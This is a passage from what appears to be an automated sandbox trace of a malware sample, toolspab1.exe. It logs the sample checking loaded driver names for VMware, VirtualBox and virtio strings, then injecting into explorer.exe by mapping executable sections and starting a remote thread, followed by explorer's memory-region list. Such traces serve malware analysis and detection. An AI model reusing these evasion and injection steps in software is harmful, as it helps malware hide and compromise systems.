(_Str="pshed.dll", _SubStr="vboxdi") returned 0x0 [0248.197] strstr (_Str="pshed.dll", _SubStr="vioser") returned 0x0 [0248.197] strstr (_Str="bootvid.dll", _SubStr="vmci.s") returned 0x0 [0248.197] strstr (_Str="bootvid.dll", _SubStr="vmusbm") returned 0x0 [0248.197] strstr (_Str="bootvid.dll", _SubStr="vmmous") returned 0x0 [0248.197] strstr (_Str="bootvid.dll", _SubStr="vm3dmp") returned 0x0 [0248.197] strstr (_Str="bootvid.dll", _SubStr="vmrawd") returned 0x0 [0248.197] strstr (_Str="bootvid.dll", _SubStr="vmmemc") returned 0x0 [0248.197] strstr (_Str="bootvid.dll", _SubStr="vboxgu") returned 0x0 [0248.197] strstr (_Str="bootvid.dll", _SubStr="vboxsf") returned 0x0 [0248.197] strstr (_Str="bootvid.dll", _SubStr="vboxmo") returned 0x0 [0248.197] strstr (_Str="bootvid.dll", _SubStr="vboxvi") returned 0x0 [0248.197] strstr (_Str="bootvid.dll", _SubStr="vboxdi") returned 0x0 [0248.198] strstr (_Str="bootvid.dll", _SubStr="vioser") returned 0x0 [0248.198] strstr (_Str="cmimcext.sys", _SubStr="vmci.s") returned 0x0 [0248.198] strstr (_Str="cmimcext.sys", _SubStr="vmusbm") returned 0x0 [0248.198] strstr (_Str="cmimcext.sys", _SubStr="vmmous") returned 0x0 [0248.198] strstr (_Str="cmimcext.sys", _SubStr="vm3dmp") returned 0x0 [0248.198] strstr (_Str="cmimcext.sys", _SubStr="vmrawd") returned 0x0 [0248.198] strstr (_Str="cmimcext.sys", _SubStr="vmmemc") returned 0x0 [0248.198] strstr (_Str="cmimcext.sys", _SubStr="vboxgu") returned 0x0 [0248.198] strstr (_Str="cmimcext.sys", _SubStr="vboxsf") returned 0x0 [0248.198] strstr (_Str="cmimcext.sys", _SubStr="vboxmo") returned 0x0 [0248.198] strstr (_Str="cmimcext.sys", _SubStr="vboxvi") returned 0x0 [0248.199] strstr (_Str="cmimcext.sys", _SubStr="vboxdi") returned 0x0 [0248.199] strstr (_Str="cmimcext.sys", _SubStr="vioser") returned 0x0 [0248.199] strstr (_Str="ntosext.sys", _SubStr="vmci.s") returned 0x0 [0248.199] strstr (_Str="ntosext.sys", _SubStr="vmusbm") returned 0x0 [0248.199] strstr (_Str="ntosext.sys", _SubStr="vmmous") returned 0x0 [0248.199] strstr (_Str="ntosext.sys", _SubStr="vm3dmp") returned 0x0 [0248.199] strstr (_Str="ntosext.sys", _SubStr="vmrawd") returned 0x0 [0248.199] strstr (_Str="ntosext.sys", _SubStr="vmmemc") returned 0x0 [0248.199] strstr (_Str="ntosext.sys", _SubStr="vboxgu") returned 0x0 [0248.199] strstr (_Str="ntosext.sys", _SubStr="vboxsf") returned 0x0 [0248.199] strstr (_Str="ntosext.sys", _SubStr="vboxmo") returned 0x0 [0248.199] strstr (_Str="ntosext.sys", _SubStr="vboxvi") returned 0x0 [0248.199] strstr (_Str="ntosext.sys", _SubStr="vboxdi") returned 0x0 [0248.200] strstr (_Str="ntosext.sys", _SubStr="vioser") returned 0x0 [0248.200] strstr (_Str="ci.dll", _SubStr="vmci.s") returned 0x0 [0248.200] strstr (_Str="ci.dll", _SubStr="vmusbm") returned 0x0 [0248.200] strstr (_Str="ci.dll", _SubStr="vmmous") returned 0x0 [0248.200] strstr (_Str="ci.dll", _SubStr="vm3dmp") returned 0x0 [0248.200] strstr (_Str="ci.dll", _SubStr="vmrawd") returned 0x0 [0248.200] strstr (_Str="ci.dll", _SubStr="vmmemc") returned 0x0 [0248.200] strstr (_Str="ci.dll", _SubStr="vboxgu") returned 0x0 [0248.200] strstr (_Str="ci.dll", _SubStr="vboxsf") returned 0x0 [0248.200] strstr (_Str="ci.dll", _SubStr="vboxmo") returned 0x0 [0248.200] strstr (_Str="ci.dll", _SubStr="vboxvi") returned 0x0 [0248.200] strstr (_Str="ci.dll", _SubStr="vboxdi") returned 0x0 [0248.200] strstr (_Str="ci.dll", _SubStr="vioser") returned 0x0 [0248.201] strstr (_Str="msrpc.sys", _SubStr="vmci.s") returned 0x0 [0248.201] strstr (_Str="msrpc.sys", _SubStr="vmusbm") returned 0x0 [0248.201] strstr (_Str="msrpc.sys", _SubStr="vmmous") returned 0x0 [0248.201] strstr (_Str="msrpc.sys", _SubStr="vm3dmp") returned 0x0 [0248.201] strstr (_Str="msrpc.sys", _SubStr="vmrawd") returned 0x0 [0248.201] strstr (_Str="msrpc.sys", _SubStr="vmmemc") returned 0x0 [0248.201] strstr (_Str="msrpc.sys", _SubStr="vboxgu") returned 0x0 [0248.201] strstr (_Str="msrpc.sys", _SubStr="vboxsf") returned 0x0 [0248.201] strstr (_Str="msrpc.sys", _SubStr="vboxmo") returned 0x0 [0248.201] strstr (_Str="msrpc.sys", _SubStr="vboxvi") returned 0x0 [0248.201] strstr (_Str="msrpc.sys", _SubStr="vboxdi") returned 0x0 [0248.201] strstr (_Str="msrpc.sys", _SubStr="vioser") returned 0x0 [0248.202] strstr (_Str="fltmgr.sys", _SubStr="vmci.s") returned 0x0 [0248.202] strstr (_Str="fltmgr.sys", _SubStr="vmusbm") returned 0x0 [0248.202] strstr (_Str="fltmgr.sys", _SubStr="vmmous") returned 0x0 [0248.202] strstr (_Str="fltmgr.sys", _SubStr="vm3dmp") returned 0x0 [0248.202] strstr (_Str="fltmgr.sys", _SubStr="vmrawd") returned 0x0 [0248.202] strstr (_Str="fltmgr.sys", _SubStr="vmmemc") returned 0x0 [0248.202] strstr (_Str="fltmgr.sys", _SubStr="vboxgu") returned 0x0 [0248.202] strstr (_Str="fltmgr.sys", _SubStr="vboxsf") returned 0x0 [0248.202] strstr (_Str="fltmgr.sys", _SubStr="vboxmo") returned 0x0 [0248.202] strstr (_Str="fltmgr.sys", _SubStr="vboxvi") returned 0x0 [0248.202] strstr (_Str="fltmgr.sys", _SubStr="vboxdi") returned 0x0 [0248.202] strstr (_Str="fltmgr.sys", _SubStr="vioser") returned 0x0 [0248.203] strstr (_Str="ksecdd.sys", _SubStr="vmci.s") returned 0x0 [0248.203] strstr (_Str="ksecdd.sys", _SubStr="vmusbm") returned 0x0 [0248.203] strstr (_Str="ksecdd.sys", _SubStr="vmmous") returned 0x0 [0248.203] strstr (_Str="ksecdd.sys", _SubStr="vm3dmp") returned 0x0 [0248.203] strstr (_Str="ksecdd.sys", _SubStr="vmrawd") returned 0x0 [0248.203] strstr (_Str="ksecdd.sys", _SubStr="vmmemc") returned 0x0 [0248.203] strstr (_Str="ksecdd.sys", _SubStr="vboxgu") returned 0x0 [0248.203] strstr (_Str="ksecdd.sys", _SubStr="vboxsf") returned 0x0 [0248.203] strstr (_Str="ksecdd.sys", _SubStr="vboxmo") returned 0x0 [0248.203] strstr (_Str="ksecdd.sys", _SubStr="vboxvi") returned 0x0 [0248.203] strstr (_Str="ksecdd.sys", _SubStr="vboxdi") returned 0x0 [0248.203] strstr (_Str="ksecdd.sys", _SubStr="vioser") returned 0x0 [0248.203] strstr (_Str="clipsp.sys", _SubStr="vmci.s") returned 0x0 [0248.204] strstr (_Str="clipsp.sys", _SubStr="vmusbm") returned 0x0 [0248.204] strstr (_Str="clipsp.sys", _SubStr="vmmous") returned 0x0 [0248.204] strstr (_Str="clipsp.sys", _SubStr="vm3dmp") returned 0x0 [0248.204] strstr (_Str="clipsp.sys", _SubStr="vmrawd") returned 0x0 [0248.204] strstr (_Str="clipsp.sys", _SubStr="vmmemc") returned 0x0 [0248.204] strstr (_Str="clipsp.sys", _SubStr="vboxgu") returned 0x0 [0248.204] strstr (_Str="clipsp.sys", _SubStr="vboxsf") returned 0x0 [0248.204] strstr (_Str="clipsp.sys", _SubStr="vboxmo") returned 0x0 [0248.204] strstr (_Str="clipsp.sys", _SubStr="vboxvi") returned 0x0 [0248.204] strstr (_Str="clipsp.sys", _SubStr="vboxdi") returned 0x0 [0248.204] strstr (_Str="clipsp.sys", _SubStr="vioser") returned 0x0 [0248.204] strstr (_Str="wdf01000.sys", _SubStr="vmci.s") returned 0x0 [0248.204] strstr (_Str="wdf01000.sys", _SubStr="vmusbm") returned 0x0 [0248.205] strstr (_Str="wdf01000.sys", _SubStr="vmmous") returned 0x0 [0248.205] strstr (_Str="wdf01000.sys", _SubStr="vm3dmp") returned 0x0 [0248.205] strstr (_Str="wdf01000.sys", _SubStr="vmrawd") returned 0x0 [0248.205] strstr (_Str="wdf01000.sys", _SubStr="vmmemc") returned 0x0 [0248.205] strstr (_Str="wdf01000.sys", _SubStr="vboxgu") returned 0x0 [0248.205] strstr (_Str="wdf01000.sys", _SubStr="vboxsf") returned 0x0 [0248.205] strstr (_Str="wdf01000.sys", _SubStr="vboxmo") returned 0x0 [0248.205] strstr (_Str="wdf01000.sys", _SubStr="vboxvi") returned 0x0 [0248.205] strstr (_Str="wdf01000.sys", _SubStr="vboxdi") returned 0x0 [0248.205] strstr (_Str="wdf01000.sys", _SubStr="vioser") returned 0x0 [0248.206] strstr (_Str="wdfldr.sys", _SubStr="vmci.s") returned 0x0 [0248.206] strstr (_Str="wdfldr.sys", _SubStr="vmusbm") returned 0x0 [0248.206] strstr (_Str="wdfldr.sys", _SubStr="vmmous") returned 0x0 [0248.206] strstr (_Str="wdfldr.sys", _SubStr="vm3dmp") returned 0x0 [0248.206] strstr (_Str="wdfldr.sys", _SubStr="vmrawd") returned 0x0 [0248.206] strstr (_Str="wdfldr.sys", _SubStr="vmmemc") returned 0x0 [0248.206] strstr (_Str="wdfldr.sys", _SubStr="vboxgu") returned 0x0 [0248.206] strstr (_Str="wdfldr.sys", _SubStr="vboxsf") returned 0x0 [0248.206] strstr (_Str="wdfldr.sys", _SubStr="vboxmo") returned 0x0 [0248.206] strstr (_Str="wdfldr.sys", _SubStr="vboxvi") returned 0x0 [0248.206] strstr (_Str="wdfldr.sys", _SubStr="vboxdi") returned 0x0 [0248.206] strstr (_Str="wdfldr.sys", _SubStr="vioser") returned 0x0 [0248.207] strstr (_Str="acpiex.sys", _SubStr="vmci.s") returned 0x0 [0248.207] strstr (_Str="acpiex.sys", _SubStr="vmusbm") returned 0x0 [0248.207] strstr (_Str="acpiex.sys", _SubStr="vmmous") returned 0x0 [0248.207] strstr (_Str="acpiex.sys", _SubStr="vm3dmp") returned 0x0 [0248.207] strstr (_Str="acpiex.sys", _SubStr="vmrawd") returned 0x0 [0248.207] strstr (_Str="acpiex.sys", _SubStr="vmmemc") returned 0x0 [0248.207] strstr (_Str="acpiex.sys", _SubStr="vboxgu") returned 0x0 [0248.207] strstr (_Str="acpiex.sys", _SubStr="vboxsf") returned 0x0 [0248.207] strstr (_Str="acpiex.sys", _SubStr="vboxmo") returned 0x0 [0248.207] strstr (_Str="acpiex.sys", _SubStr="vboxvi") returned 0x0 [0248.207] strstr (_Str="acpiex.sys", _SubStr="vboxdi") returned 0x0 [0248.207] strstr (_Str="acpiex.sys", _SubStr="vioser") returned 0x0 [0248.210] strstr (_Str="wpprecorder.sys", _SubStr="vmci.s") returned 0x0 [0248.210] strstr (_Str="wpprecorder.sys", _SubStr="vmusbm") returned 0x0 [0248.210] strstr (_Str="wpprecorder.sys", _SubStr="vmmous") returned 0x0 [0248.210] strstr (_Str="wpprecorder.sys", _SubStr="vm3dmp") returned 0x0 [0248.210] strstr (_Str="wpprecorder.sys", _SubStr="vmrawd") returned 0x0 [0248.211] strstr (_Str="wpprecorder.sys", _SubStr="vmmemc") returned 0x0 [0248.211] strstr (_Str="wpprecorder.sys", _SubStr="vboxgu") returned 0x0 [0248.211] strstr (_Str="wpprecorder.sys", _SubStr="vboxsf") returned 0x0 [0248.211] strstr (_Str="wpprecorder.sys", _SubStr="vboxmo") returned 0x0 [0248.211] strstr (_Str="wpprecorder.sys", _SubStr="vboxvi") returned 0x0 [0248.211] strstr (_Str="wpprecorder.sys", _SubStr="vboxdi") returned 0x0 [0248.211] strstr (_Str="wpprecorder.sys", _SubStr="vioser") returned 0x0 [0248.211] strstr (_Str="cng.sys", _SubStr="vmci.s") returned 0x0 [0248.211] strstr (_Str="cng.sys", _SubStr="vmusbm") returned 0x0 [0248.211] strstr (_Str="cng.sys", _SubStr="vmmous") returned 0x0 [0248.211] strstr (_Str="cng.sys", _SubStr="vm3dmp") returned 0x0 [0248.211] strstr (_Str="cng.sys", _SubStr="vmrawd") returned 0x0 [0248.211] strstr (_Str="cng.sys", _SubStr="vmmemc") returned 0x0 [0248.211] strstr (_Str="cng.sys", _SubStr="vboxgu") returned 0x0 [0248.211] strstr (_Str="cng.sys", _SubStr="vboxsf") returned 0x0 [0248.211] strstr (_Str="cng.sys", _SubStr="vboxmo") returned 0x0 [0248.214] LocalFree (hMem=0x1dd2050) returned 0x0 [0248.214] Sleep (dwMilliseconds=0x1388) [0253.220] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x19ff1c*=0x0, ZeroBits=0x0, RegionSize=0x19ff24*=0x5200, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0x19ff1c*=0x4e0000, RegionSize=0x19ff24*=0x6000) returned 0x0 [0253.222] GetShellWindow () returned 0x100cc [0253.223] GetWindowThreadProcessId (in: hWnd=0x100cc, lpdwProcessId=0x19fec8 | out: lpdwProcessId=0x19fec8) returned 0x61c [0253.223] NtOpenProcess (in: ProcessHandle=0x19ff18, DesiredAccess=0x40, ObjectAttributes=0x19ff00*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x19fef8*(UniqueProcess=0x618, UniqueThread=0x0) | out: ProcessHandle=0x19ff18*=0x15c) returned 0x0 [0253.223] NtDuplicateObject (in: SourceProcessHandle=0x15c, SourceHandle=0xffffffff, TargetProcessHandle=0xffffffff, TargetHandle=0x19ff1c, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x2 | out: TargetHandle=0x19ff1c*=0x160) returned 0x0 [0253.223] NtCreateSection (in: SectionHandle=0x19fed4, DesiredAccess=0x6, ObjectAttributes=0x0, MaximumSize=0x19fed8, SectionPageProtection=0x4, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x19fed4*=0x164) returned 0x0 [0253.223] NtMapViewOfSection (in: SectionHandle=0x164, ProcessHandle=0xffffffff, BaseAddress=0x19fee4*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x19fef0*=0x5000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x19fee4*=0x4f0000, SectionOffset=0x0, ViewSize=0x19fef0*=0x5000) returned 0x0 [0253.224] NtMapViewOfSection (in: SectionHandle=0x164, ProcessHandle=0x160, BaseAddress=0x19feec*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x19fef0*=0x5000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x19feec*=0x4300000, SectionOffset=0x0, ViewSize=0x19fef0*=0x5000) returned 0x0 [0258.197] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4f0000, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\toolspab1.exe")) returned 0x2b [0258.198] NtCreateSection (in: SectionHandle=0x19fed0, DesiredAccess=0xe, ObjectAttributes=0x0, MaximumSize=0x19fed8, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x19fed0*=0x168) returned 0x0 [0258.199] NtMapViewOfSection (in: SectionHandle=0x168, ProcessHandle=0xffffffff, BaseAddress=0x19fee0*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x19fef0*=0x15200, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x19fee0*=0x500000, SectionOffset=0x0, ViewSize=0x19fef0*=0x16000) returned 0x0 [0258.199] NtMapViewOfSection (in: SectionHandle=0x168, ProcessHandle=0x160, BaseAddress=0x19fee8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x19fef0*=0x16000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x20 | out: BaseAddress=0x19fee8*=0x4310000, SectionOffset=0x0, ViewSize=0x19fef0*=0x16000) returned 0x0 [0258.203] RtlCreateUserThread (in: ProcessHandle=0x160, SecurityDescriptor=0x0, CreateSuspended=0, StackZeroBits=0x0, StackReserve=0x0, StackCommit=0x0, StartAddress=0x4311930, Parameter=0x4300000, ThreadHandle=0x19fe30*=0x5601dd2048, ClientId=0x0 | out: ThreadHandle=0x19fe30*=0x16c, ClientId=0x0) returned 0x0 [0258.319] NtTerminateProcess (ProcessHandle=0xffffffff, ExitStatus=0x0) Thread: id = 4 os_tid = 0x11fc Process: id = "3" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x2b639000" os_pid = "0x618" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "2" os_parent_pid = "0xffffffffffffffff" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f4cd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 382 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 383 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 384 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 385 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 386 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 387 start_va = 0xe0000 end_va = 0xe1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 388 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 389 start_va = 0x100000 end_va = 0x1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 390 start_va = 0x1c0000 end_va = 0x1c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 391 start_va = 0x1d0000 end_va = 0x1d1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 392 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 393 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 394 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 395 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 396 start_va = 0x410000 end_va = 0x411fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 397 start_va = 0x420000 end_va = 0x422fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 398 start_va = 0x430000 end_va = 0x433fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 399 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{e23b5da4-e3a9-461b-8050-8e471867b572}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{E23B5DA4-E3A9-461B-8050-8E471867B572}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{e23b5da4-e3a9-461b-8050-8e471867b572}.2.ver0x0000000000000001.db") Region: id = 400 start_va = 0x450000 end_va = 0x453fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 401 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{5c9e180f-34bb-4f92-8676-68c88e410c2b}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{5C9E180F-34BB-4F92-8676-68C88E410C2B}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{5c9e180f-34bb-4f92-8676-68c88e410c2b}.2.ver0x0000000000000001.db") Region: id = 402 start_va = 0x470000 end_va = 0x471fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 403 start_va = 0x480000 end_va = 0x480fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 404 start_va = 0x490000 end_va = 0x490fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 405 start_va = 0x4a0000 end_va = 0x4a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 406 start_va = 0x4b0000 end_va = 0x4b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 407 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 408 start_va = 0x4d0000 end_va = 0x4d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 409 start_va = 0x4e0000 end_va = 0x4f2fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000a.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db") Region: id = 410 start_va = 0x500000 end_va = 0x500fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 411 start_va = 0x510000 end_va = 0x511fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 412 start_va = 0x520000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 413 start_va = 0x620000 end_va = 0x638fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x000000000000000c.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x000000000000000c.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x000000000000000c.db") Region: id = 414 start_va = 0x640000 end_va = 0x641fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 415 start_va = 0x650000 end_va = 0x67dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 416 start_va = 0x680000 end_va = 0x681fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 417 start_va = 0x690000 end_va = 0x691fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 418 start_va = 0x6a0000 end_va = 0x6a1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 419 start_va = 0x6b0000 end_va = 0x6b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 420 start_va = 0x6c0000 end_va = 0x6c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 421 start_va = 0x6d0000 end_va = 0x6d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windows.storage.dll.mui" filename = "\\Windows\\System32\\en-US\\windows.storage.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\windows.storage.dll.mui") Region: id = 422 start_va = 0x6e0000 end_va = 0x6e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 423 start_va = 0x6f0000 end_va = 0x6f0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "counters.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat") Region: id = 424 start_va = 0x700000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_256.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_256.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_256.db") Region: id = 425 start_va = 0x710000 end_va = 0x711fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 426 start_va = 0x720000 end_va = 0x721fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 427 start_va = 0x730000 end_va = 0x733fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 428 start_va = 0x740000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 429 start_va = 0x750000 end_va = 0x8d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 430 start_va = 0x8e0000 end_va = 0xa60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 431 start_va = 0xa70000 end_va = 0x1e6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 432 start_va = 0x1e70000 end_va = 0x226afff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e70000" filename = "" Region: id = 433 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 434 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002280000" filename = "" Region: id = 435 start_va = 0x2290000 end_va = 0x2290fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002290000" filename = "" Region: id = 436 start_va = 0x22a0000 end_va = 0x22a3fff 